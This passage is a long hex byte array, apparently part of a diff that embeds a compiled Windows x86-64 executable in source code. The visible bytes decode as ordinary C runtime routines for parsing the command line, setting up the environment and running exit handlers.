0x39, 0x41, 0x18, 0x75, 0x19, 0x83, 0xb9, + 0x84, 0x00, 0x00, 0x00, 0x0e, 0x76, 0x10, 0x83, 0xb9, 0xf8, 0x00, 0x00, + 0x00, 0x00, 0x74, 0x07, 0x8b, 0xcb, 0xe8, 0xa1, 0x00, 0x00, 0x00, 0x48, + 0x8d, 0x45, 0x18, 0xc6, 0x45, 0x28, 0x00, 0x48, 0x89, 0x45, 0xe0, 0x4c, + 0x8d, 0x4d, 0xd4, 0x48, 0x8d, 0x45, 0x20, 0x48, 0x89, 0x45, 0xe8, 0x4c, + 0x8d, 0x45, 0xe0, 0x48, 0x8d, 0x45, 0x28, 0x48, 0x89, 0x45, 0xf0, 0x48, + 0x8d, 0x55, 0xd8, 0xb8, 0x02, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xd0, + 0x89, 0x45, 0xd4, 0x89, 0x45, 0xd8, 0xe8, 0x55, 0xfe, 0xff, 0xff, 0x83, + 0x7d, 0x20, 0x00, 0x74, 0x0b, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x83, + 0xc4, 0x50, 0x5d, 0xc3, 0x8b, 0xcb, 0xe8, 0x01, 0x00, 0x00, 0x00, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x8b, 0xd9, 0xe8, 0xa7, 0x36, 0x00, + 0x00, 0x83, 0xf8, 0x01, 0x74, 0x28, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, + 0x00, 0x00, 0x00, 0x8b, 0x90, 0xbc, 0x00, 0x00, 0x00, 0xc1, 0xea, 0x08, + 0xf6, 0xc2, 0x01, 0x75, 0x11, 0xff, 0x15, 0x65, 0xc8, 0x00, 0x00, 0x48, + 0x8b, 0xc8, 0x8b, 0xd3, 0xff, 0x15, 0x62, 0xc8, 0x00, 0x00, 0x8b, 0xcb, + 0xe8, 0x0b, 0x00, 0x00, 0x00, 0x8b, 0xcb, 0xff, 0x15, 0x1b, 0xc9, 0x00, + 0x00, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83, + 0x64, 0x24, 0x38, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x38, 0x8b, 0xd9, 0x48, + 0x8d, 0x15, 0x06, 0xdf, 0x00, 0x00, 0x33, 0xc9, 0xff, 0x15, 0xfe, 0xc8, + 0x00, 0x00, 0x85, 0xc0, 0x74, 0x1f, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x48, + 0x8d, 0x15, 0x06, 0xdf, 0x00, 0x00, 0xff, 0x15, 0xc8, 0xc8, 0x00, 0x00, + 0x48, 0x85, 0xc0, 0x74, 0x08, 0x8b, 0xcb, 0xff, 0x15, 0x1b, 0xca, 0x00, + 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x48, 0x85, 0xc9, 0x74, 0x06, 0xff, + 0x15, 0xa3, 0xc8, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, + 0x48, 0x89, 0x0d, 0x95, 0x89, 0x01, 0x00, 0xc3, 0x33, 0xd2, 0x33, 0xc9, + 0x44, 0x8d, 0x42, 0x01, 0xe9, 0x87, 0xfe, 0xff, 0xff, 0xcc, 0xcc, 0xcc, + 0x45, 0x33, 0xc0, 0x41, 0x8d, 0x50, 0x02, 0xe9, 0x78, 0xfe, 0xff, 0xff, + 0x8b, 0x05, 0x6a, 0x89, 0x01, 0x00, 0xc3, 0xcc, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, + 0x89, 0x78, 0x20, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, + 0x20, 0x4c, 0x8b, 0x7c, 0x24, 0x60, 0x4d, 0x8b, 0xe1, 0x49, 0x8b, 0xd8, + 0x4c, 0x8b, 0xf2, 0x48, 0x8b, 0xf9, 0x49, 0x83, 0x27, 0x00, 0x49, 0xc7, + 0x01, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xd2, 0x74, 0x07, 0x48, 0x89, + 0x1a, 0x49, 0x83, 0xc6, 0x08, 0x40, 0x32, 0xed, 0x80, 0x3f, 0x22, 0x75, + 0x0f, 0x40, 0x84, 0xed, 0x40, 0xb6, 0x22, 0x40, 0x0f, 0x94, 0xc5, 0x48, + 0xff, 0xc7, 0xeb, 0x37, 0x49, 0xff, 0x07, 0x48, 0x85, 0xdb, 0x74, 0x07, + 0x8a, 0x07, 0x88, 0x03, 0x48, 0xff, 0xc3, 0x0f, 0xbe, 0x37, 0x48, 0xff, + 0xc7, 0x8b, 0xce, 0xe8, 0xec, 0x4c, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x12, + 0x49, 0xff, 0x07, 0x48, 0x85, 0xdb, 0x74, 0x07, 0x8a, 0x07, 0x88, 0x03, + 0x48, 0xff, 0xc3, 0x48, 0xff, 0xc7, 0x40, 0x84, 0xf6, 0x74, 0x1c, 0x40, + 0x84, 0xed, 0x75, 0xb0, 0x40, 0x80, 0xfe, 0x20, 0x74, 0x06, 0x40, 0x80, + 0xfe, 0x09, 0x75, 0xa4, 0x48, 0x85, 0xdb, 0x74, 0x09, 0xc6, 0x43, 0xff, + 0x00, 0xeb, 0x03, 0x48, 0xff, 0xcf, 0x40, 0x32, 0xf6, 0x8a, 0x07, 0x84, + 0xc0, 0x0f, 0x84, 0xd4, 0x00, 0x00, 0x00, 0x3c, 0x20, 0x74, 0x04, 0x3c, + 0x09, 0x75, 0x07, 0x48, 0xff, 0xc7, 0x8a, 0x07, 0xeb, 0xf1, 0x84, 0xc0, + 0x0f, 0x84, 0xbd, 0x00, 0x00, 0x00, 0x4d, 0x85, 0xf6, 0x74, 0x07, 0x49, + 0x89, 0x1e, 0x49, 0x83, 0xc6, 0x08, 0x49, 0xff, 0x04, 0x24, 0xba, 0x01, + 0x00, 0x00, 0x00, 0x33, 0xc0, 0xeb, 0x05, 0x48, 0xff, 0xc7, 0xff, 0xc0, + 0x8a, 0x0f, 0x80, 0xf9, 0x5c, 0x74, 0xf4, 0x80, 0xf9, 0x22, 0x75, 0x30, + 0x84, 0xc2, 0x75, 0x18, 0x40, 0x84, 0xf6, 0x74, 0x0a, 0x38, 0x4f, 0x01, + 0x75, 0x05, 0x48, 0xff, 0xc7, 0xeb, 0x09, 0x33, 0xd2, 0x40, 0x84, 0xf6, + 0x40, 0x0f, 0x94, 0xc6, 0xd1, 0xe8, 0xeb, 0x10, 0xff, 0xc8, 0x48, 0x85, + 0xdb, 0x74, 0x06, 0xc6, 0x03, 0x5c, 0x48, 0xff, 0xc3, 0x49, 0xff, 0x07, + 0x85, 0xc0, 0x75, 0xec, 0x8a, 0x07, 0x84, 0xc0, 0x74, 0x46, 0x40, 0x84, + 0xf6, 0x75, 0x08, 0x3c, 0x20, 0x74, 0x3d, 0x3c, 0x09, 0x74, 0x39, 0x85, + 0xd2, 0x74, 0x2d, 0x48, 0x85, 0xdb, 0x74, 0x07, 0x88, 0x03, 0x48, 0xff, + 0xc3, 0x8a, 0x07, 0x0f, 0xbe, 0xc8, 0xe8, 0x05, 0x4c, 0x00, 0x00, 0x85, + 0xc0, 0x74, 0x12, 0x49, 0xff, 0x07, 0x48, 0xff, 0xc7, 0x48, 0x85, 0xdb, + 0x74, 0x07, 0x8a, 0x07, 0x88, 0x03, 0x48, 0xff, 0xc3, 0x49, 0xff, 0x07, + 0x48, 0xff, 0xc7, 0xe9, 0x66, 0xff, 0xff, 0xff, 0x48, 0x85, 0xdb, 0x74, + 0x06, 0xc6, 0x03, 0x00, 0x48, 0xff, 0xc3, 0x49, 0xff, 0x07, 0xe9, 0x22, + 0xff, 0xff, 0xff, 0x4d, 0x85, 0xf6, 0x74, 0x04, 0x49, 0x83, 0x26, 0x00, + 0x49, 0xff, 0x04, 0x24, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, + 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x58, + 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5c, 0xc3, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0xb8, 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0xff, 0x1f, 0x4c, 0x8b, 0xca, 0x48, 0x3b, 0xc8, 0x73, 0x3d, + 0x33, 0xd2, 0x48, 0x83, 0xc8, 0xff, 0x49, 0xf7, 0xf0, 0x4c, 0x3b, 0xc8, + 0x73, 0x2f, 0x48, 0xc1, 0xe1, 0x03, 0x4d, 0x0f, 0xaf, 0xc8, 0x48, 0x8b, + 0xc1, 0x48, 0xf7, 0xd0, 0x49, 0x3b, 0xc1, 0x76, 0x1c, 0x49, 0x03, 0xc9, + 0xba, 0x01, 0x00, 0x00, 0x00, 0xe8, 0x16, 0x34, 0x00, 0x00, 0x33, 0xc9, + 0x48, 0x8b, 0xd8, 0xe8, 0x8c, 0x12, 0x00, 0x00, 0x48, 0x8b, 0xc3, 0xeb, + 0x02, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, + 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x30, 0x33, 0xff, 0x44, 0x8b, 0xf1, + 0x85, 0xc9, 0x0f, 0x84, 0x53, 0x01, 0x00, 0x00, 0x8d, 0x41, 0xff, 0x83, + 0xf8, 0x01, 0x76, 0x16, 0xe8, 0x2f, 0x12, 0x00, 0x00, 0x8d, 0x5f, 0x16, + 0x89, 0x18, 0xe8, 0x05, 0x11, 0x00, 0x00, 0x8b, 0xfb, 0xe9, 0x35, 0x01, + 0x00, 0x00, 0xe8, 0x51, 0x47, 0x00, 0x00, 0x48, 0x8d, 0x1d, 0x16, 0x87, + 0x01, 0x00, 0x41, 0xb8, 0x04, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xd3, 0x33, + 0xc9, 0xe8, 0xf2, 0x3e, 0x00, 0x00, 0x48, 0x8b, 0x35, 0xd7, 0x90, 0x01, + 0x00, 0x48, 0x89, 0x1d, 0xb0, 0x90, 0x01, 0x00, 0x48, 0x85, 0xf6, 0x74, + 0x05, 0x40, 0x38, 0x3e, 0x75, 0x03, 0x48, 0x8b, 0xf3, 0x48, 0x8d, 0x45, + 0x48, 0x48, 0x89, 0x7d, 0x40, 0x4c, 0x8d, 0x4d, 0x40, 0x48, 0x89, 0x44, + 0x24, 0x20, 0x45, 0x33, 0xc0, 0x48, 0x89, 0x7d, 0x48, 0x33, 0xd2, 0x48, + 0x8b, 0xce, 0xe8, 0x49, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0x7d, 0x40, 0x41, + 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, 0x48, 0x49, 0x8b, 0xcf, + 0xe8, 0xf3, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x75, + 0x18, 0xe8, 0xa2, 0x11, 0x00, 0x00, 0xbb, 0x0c, 0x00, 0x00, 0x00, 0x33, + 0xc9, 0x89, 0x18, 0xe8, 0xb4, 0x11, 0x00, 0x00, 0xe9, 0x6a, 0xff, 0xff, + 0xff, 0x4e, 0x8d, 0x04, 0xf8, 0x48, 0x8b, 0xd3, 0x48, 0x8d, 0x45, 0x48, + 0x48, 0x8b, 0xce, 0x4c, 0x8d, 0x4d, 0x40, 0x48, 0x89, 0x44, 0x24, 0x20, + 0xe8, 0xf7, 0xfc, 0xff, 0xff, 0x41, 0x83, 0xfe, 0x01, 0x75, 0x16, 0x8b, + 0x45, 0x40, 0xff, 0xc8, 0x48, 0x89, 0x1d, 0x2d, 0x90, 0x01, 0x00, 0x89, + 0x05, 0x1f, 0x90, 0x01, 0x00, 0x33, 0xc9, 0xeb, 0x69, 0x48, 0x8d, 0x55, + 0x38, 0x48, 0x89, 0x7d, 0x38, 0x48, 0x8b, 0xcb, 0xe8, 0x1b, 0x3d, 0x00, + 0x00, 0x8b, 0xf0, 0x85, 0xc0, 0x74, 0x19, 0x48, 0x8b, 0x4d, 0x38, 0xe8, + 0x58, 0x11, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x89, 0x7d, 0x38, 0xe8, + 0x4c, 0x11, 0x00, 0x00, 0x8b, 0xfe, 0xeb, 0x3f, 0x48, 0x8b, 0x55, 0x38, + 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0xc2, 0x48, 0x39, 0x3a, 0x74, 0x0c, 0x48, + 0x8d, 0x40, 0x08, 0x48, 0xff, 0xc1, 0x48, 0x39, 0x38, 0x75, 0xf4, 0x89, + 0x0d, 0xcb, 0x8f, 0x01, 0x00, 0x33, 0xc9, 0x48, 0x89, 0x7d, 0x38, 0x48, + 0x89, 0x15, 0xc6, 0x8f, 0x01, 0x00, 0xe8, 0x15, 0x11, 0x00, 0x00, 0x48, + 0x8b, 0xcb, 0x48, 0x89, 0x7d, 0x38, 0xe8, 0x09, 0x11, 0x00, 0x00, 0x48, + 0x8b, 0x5c, 0x24, 0x60, 0x8b, 0xc7, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5f, + 0x41, 0x5e, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x33, 0xff, 0x48, 0x39, 0x3d, 0xcd, + 0x86, 0x01, 0x00, 0x74, 0x04, 0x33, 0xc0, 0xeb, 0x48, 0xe8, 0xee, 0x45, + 0x00, 0x00, 0xe8, 0xe1, 0x4a, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, + 0xc0, 0x75, 0x05, 0x83, 0xcf, 0xff, 0xeb, 0x27, 0x48, 0x8b, 0xcb, 0xe8, + 0x34, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x05, 0x83, 0xcf, 0xff, + 0xeb, 0x0e, 0x48, 0x89, 0x05, 0xaf, 0x86, 0x01, 0x00, 0x48, 0x89, 0x05, + 0x90, 0x86, 0x01, 0x00, 0x33, 0xc9, 0xe8, 0x9d, 0x10, 0x00, 0x00, 0x48, + 0x8b, 0xcb, 0xe8, 0x95, 0x10, 0x00, 0x00, 0x8b, 0xc7, 0x48, 0x8b, 0x5c, + 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x30, 0x4c, 0x8b, 0xf1, 0x33, + 0xf6, 0x8b, 0xce, 0x4d, 0x8b, 0xc6, 0x41, 0x8a, 0x16, 0xeb, 0x24, 0x80, + 0xfa, 0x3d, 0x48, 0x8d, 0x41, 0x01, 0x48, 0x0f, 0x44, 0xc1, 0x48, 0x8b, + 0xc8, 0x48, 0x83, 0xc8, 0xff, 0x48, 0xff, 0xc0, 0x41, 0x38, 0x34, 0x00, + 0x75, 0xf7, 0x49, 0xff, 0xc0, 0x4c, 0x03, 0xc0, 0x41, 0x8a, 0x10, 0x84, + 0xd2, 0x75, 0xd8, 0x48, 0xff, 0xc1, 0xba, 0x08, 0x00, 0x00, 0x00, 0xe8, + 0xac, 0x31, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, 0x85, 0xc0, 0x74, 0x6c, + 0x4c, 0x8b, 0xf8, 0x41, 0x8a, 0x06, 0x84, 0xc0, 0x74, 0x5f, 0x48, 0x83, + 0xcd, 0xff, 0x48, 0xff, 0xc5, 0x41, 0x38, 0x34, 0x2e, 0x75, 0xf7, 0x48, + 0xff, 0xc5, 0x3c, 0x3d, 0x74, 0x35, 0xba, 0x01, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0xcd, 0xe8, 0x79, 0x31, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, + 0xc0, 0x74, 0x25, 0x4d, 0x8b, 0xc6, 0x48, 0x8b, 0xd5, 0x48, 0x8b, 0xc8, + 0xe8, 0xa7, 0x04, 0x00, 0x00, 0x33, 0xc9, 0x85, 0xc0, 0x75, 0x48, 0x49, + 0x89, 0x3f, 0x49, 0x83, 0xc7, 0x08, 0xe8, 0xd1, 0x0f, 0x00, 0x00, 0x4c, + 0x03, 0xf5, 0xeb, 0xab, 0x48, 0x8b, 0xcb, 0xe8, 0x44, 0x00, 0x00, 0x00, + 0x33, 0xc9, 0xe8, 0xbd, 0x0f, 0x00, 0x00, 0xeb, 0x03, 0x48, 0x8b, 0xf3, + 0x33, 0xc9, 0xe8, 0xb1, 0x0f, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x50, + 0x48, 0x8b, 0xc6, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, + 0x58, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0x45, + 0x33, 0xc9, 0x48, 0x89, 0x74, 0x24, 0x20, 0x45, 0x33, 0xc0, 0x33, 0xd2, + 0xe8, 0x63, 0x0e, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x74, + 0x3b, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, + 0x8b, 0x01, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0xf9, 0xeb, 0x0f, 0x48, 0x8b, + 0xc8, 0xe8, 0x5e, 0x0f, 0x00, 0x00, 0x48, 0x8d, 0x7f, 0x08, 0x48, 0x8b, + 0x07, 0x48, 0x85, 0xc0, 0x75, 0xec, 0x48, 0x8b, 0xcb, 0xe8, 0x4a, 0x0f, + 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x09, 0x48, + 0x3b, 0x0d, 0x32, 0x85, 0x01, 0x00, 0x74, 0x05, 0xe8, 0xa7, 0xff, 0xff, + 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0x48, 0x8b, 0x09, 0x48, 0x3b, 0x0d, 0x0e, 0x85, 0x01, 0x00, 0x74, 0x05, + 0xe8, 0x8b, 0xff, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0x48, 0x8d, 0x0d, 0xe5, 0x84, 0x01, 0x00, 0xe8, + 0xb8, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x0d, 0xe1, 0x84, 0x01, 0x00, 0xe8, + 0xc8, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x0d, 0xe5, 0x84, 0x01, 0x00, 0xe8, + 0x5c, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x0d, 0xd1, 0x84, 0x01, 0x00, 0x48, + 0x83, 0xc4, 0x28, 0xe9, 0x4c, 0xff, 0xff, 0xff, 0xe9, 0xd3, 0xfd, 0xff, + 0xff, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, + 0x24, 0x20, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, + 0xf8, 0x8b, 0x0a, 0xe8, 0x7c, 0x2f, 0x00, 0x00, 0x90, 0x48, 0x8b, 0xcf, + 0xe8, 0x17, 0x00, 0x00, 0x00, 0x8b, 0xf8, 0x8b, 0x0b, 0xe8, 0xbe, 0x2f, + 0x00, 0x00, 0x8b, 0xc7, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, + 0x20, 0x5f, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, + 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x41, 0x56, 0x41, 0x57, + 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x01, 0x48, 0x8b, 0xf1, 0x48, 0x8b, + 0x18, 0x48, 0x85, 0xdb, 0x75, 0x08, 0x83, 0xc8, 0xff, 0xe9, 0xcf, 0x00, + 0x00, 0x00, 0x4c, 0x8b, 0x05, 0x8f, 0x70, 0x01, 0x00, 0x41, 0x8b, 0xc8, + 0x49, 0x8b, 0xf8, 0x48, 0x33, 0x3b, 0x83, 0xe1, 0x3f, 0x48, 0x8b, 0x5b, + 0x08, 0x48, 0xd3, 0xcf, 0x49, 0x33, 0xd8, 0x48, 0xd3, 0xcb, 0x48, 0x8d, + 0x47, 0xff, 0x48, 0x83, 0xf8, 0xfd, 0x0f, 0x87, 0x9f, 0x00, 0x00, 0x00, + 0x41, 0x8b, 0xc8, 0x4d, 0x8b, 0xf0, 0x83, 0xe1, 0x3f, 0x4c, 0x8b, 0xff, + 0x48, 0x8b, 0xeb, 0x48, 0x83, 0xeb, 0x08, 0x48, 0x3b, 0xdf, 0x72, 0x55, + 0x48, 0x8b, 0x03, 0x49, 0x3b, 0xc6, 0x74, 0xef, 0x49, 0x33, 0xc0, 0x4c, + 0x89, 0x33, 0x48, 0xd3, 0xc8, 0xff, 0x15, 0x39, 0xc3, 0x00, 0x00, 0x4c, + 0x8b, 0x05, 0x32, 0x70, 0x01, 0x00, 0x48, 0x8b, 0x06, 0x41, 0x8b, 0xc8, + 0x83, 0xe1, 0x3f, 0x48, 0x8b, 0x10, 0x4c, 0x8b, 0x0a, 0x48, 0x8b, 0x42, + 0x08, 0x4d, 0x33, 0xc8, 0x49, 0x33, 0xc0, 0x49, 0xd3, 0xc9, 0x48, 0xd3, + 0xc8, 0x4d, 0x3b, 0xcf, 0x75, 0x05, 0x48, 0x3b, 0xc5, 0x74, 0xb0, 0x4d, + 0x8b, 0xf9, 0x49, 0x8b, 0xf9, 0x48, 0x8b, 0xe8, 0x48, 0x8b, 0xd8, 0xeb, + 0xa2, 0x48, 0x83, 0xff, 0xff, 0x74, 0x0f, 0x48, 0x8b, 0xcf, 0xe8, 0xb1, + 0x0d, 0x00, 0x00, 0x4c, 0x8b, 0x05, 0xe6, 0x6f, 0x01, 0x00, 0x48, 0x8b, + 0x06, 0x48, 0x8b, 0x08, 0x4c, 0x89, 0x01, 0x48, 0x8b, 0x06, 0x48, 0x8b, + 0x08, 0x4c, 0x89, 0x41, 0x08, 0x48, 0x8b, 0x06, 0x48, 0x8b, 0x08, 0x4c, + 0x89, 0x41, 0x10, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, + 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x20, + 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x49, + 0x89, 0x4b, 0x08, 0x48, 0x83, 0xec, 0x38, 0x49, 0x8d, 0x43, 0x08, 0x49, + 0x89, 0x43, 0xe8, 0x4d, 0x8d, 0x4b, 0x18, 0xb8, 0x02, 0x00, 0x00, 0x00, + 0x4d, 0x8d, 0x43, 0xe8, 0x49, 0x8d, 0x53, 0x20, 0x89, 0x44, 0x24, 0x50, + 0x49, 0x8d, 0x4b, 0x10, 0x89, 0x44, 0x24, 0x58, 0xe8, 0x77, 0xfe, 0xff, + 0xff, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0x48, 0x85, 0xc9, 0x75, + 0x04, 0x83, 0xc8, 0xff, 0xc3, 0x48, 0x8b, 0x41, 0x10, 0x48, 0x39, 0x01, + 0x75, 0x12, 0x48, 0x8b, 0x05, 0x57, 0x6f, 0x01, 0x00, 0x48, 0x89, 0x01, + 0x48, 0x89, 0x41, 0x08, 0x48, 0x89, 0x41, 0x10, 0x33, 0xc0, 0xc3, 0xcc, + 0x48, 0x8d, 0x05, 0xa9, 0x70, 0x01, 0x00, 0x48, 0x89, 0x05, 0x7a, 0x83, + 0x01, 0x00, 0xb0, 0x01, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0x48, 0x8d, 0x0d, 0xf9, 0x82, 0x01, 0x00, 0xe8, 0xb4, 0xff, 0xff, 0xff, + 0x48, 0x8d, 0x0d, 0x05, 0x83, 0x01, 0x00, 0xe8, 0xa8, 0xff, 0xff, 0xff, + 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xb0, 0x01, 0xc3, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0xc3, 0xfd, 0xff, 0xff, 0xb0, 0x01, 0x48, + 0x83, 0xc4, 0x28, 0xc3, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0x1d, 0xef, 0x6e, 0x01, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xb3, 0x0a, 0x00, + 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0x33, 0x49, 0x00, 0x00, 0x48, 0x8b, 0xcb, + 0xe8, 0x0f, 0x4a, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xb3, 0x4c, 0x00, + 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xc3, 0xf7, 0xff, 0xff, 0xb0, 0x01, 0x48, + 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x33, 0xc9, 0xe9, 0x85, + 0xc8, 0xff, 0xff, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, + 0x0d, 0xf7, 0x8a, 0x01, 0x00, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x01, + 0x83, 0xf8, 0x01, 0x75, 0x1f, 0x48, 0x8b, 0x0d, 0xe4, 0x8a, 0x01, 0x00, + 0x48, 0x8d, 0x1d, 0x65, 0x71, 0x01, 0x00, 0x48, 0x3b, 0xcb, 0x74, 0x0c, + 0xe8, 0x47, 0x0c, 0x00, 0x00, 0x48, 0x89, 0x1d, 0xcc, 0x8a, 0x01, 0x00, + 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x48, 0x83, 0xec, 0x28, + 0x48, 0x8b, 0x0d, 0x91, 0x82, 0x01, 0x00, 0xe8, 0x28, 0x0c, 0x00, 0x00, + 0x48, 0x8b, 0x0d, 0x8d, 0x82, 0x01, 0x00, 0x48, 0x83, 0x25, 0x7d, 0x82, + 0x01, 0x00, 0x00, 0xe8, 0x14, 0x0c, 0x00, 0x00, 0x48, 0x8b, 0x0d, 0xb9, + 0x8a, 0x01, 0x00, 0x48, 0x83, 0x25, 0x71, 0x82, 0x01, 0x00, 0x00, 0xe8, + 0x00, 0x0c, 0x00, 0x00, 0x48, 0x8b, 0x0d, 0xad, 0x8a, 0x01, 0x00, 0x48, + 0x83, 0x25, 0x9d, 0x8a, 0x01, 0x00, 0x00, 0xe8, 0xec, 0x0b, 0x00, 0x00, + 0x48, 0x83, 0x25, 0x98, 0x8a, 0x01, 0x00, 0x00, 0xb0, 0x01, 0x48, 0x83, + 0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x8d, 0x15, 0xf9, 0xd6, 0x00, 0x00, 0x48, + 0x8d, 0x0d, 0xf2, 0xd5, 0x00, 0x00, 0xe9, 0x9d, 0x47, 0x00, 0x00, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0x3f, 0x07, 0x00, 0x00, 0x48, 0x85, 0xc0, + 0x0f, 0x95, 0xc0, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0xec, 0x28, + 0xe8, 0x6b, 0x05, 0x00, 0x00, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, + 0x48, 0x83, 0xec, 0x28, 0x84, 0xc9, 0x74, 0x16, 0x48, 0x83, 0x3d, 0xe8, + 0x81, 0x01, 0x00, 0x00, 0x74, 0x05, 0xe8, 0x89, 0x4e, 0x00, 0x00, 0xb0, + 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x8d, 0x15, 0xa3, 0xd6, 0x00, + 0x00, 0x48, 0x8d, 0x0d, 0x9c, 0xd5, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, + 0xe9, 0xc3, 0x47, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0xe8, 0xeb, 0x07, 0x00, 0x00, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0x57, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x40, + 0x18, 0x48, 0x85, 0xc0, 0x74, 0x08, 0xff, 0x15, 0x80, 0xc0, 0x00, 0x00, + 0xeb, 0x00, 0xe8, 0x61, 0x00, 0x00, 0x00, 0x90, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x33, 0xdb, 0x48, 0x85, 0xc9, 0x74, 0x0c, 0x48, 0x85, 0xd2, + 0x74, 0x07, 0x4d, 0x85, 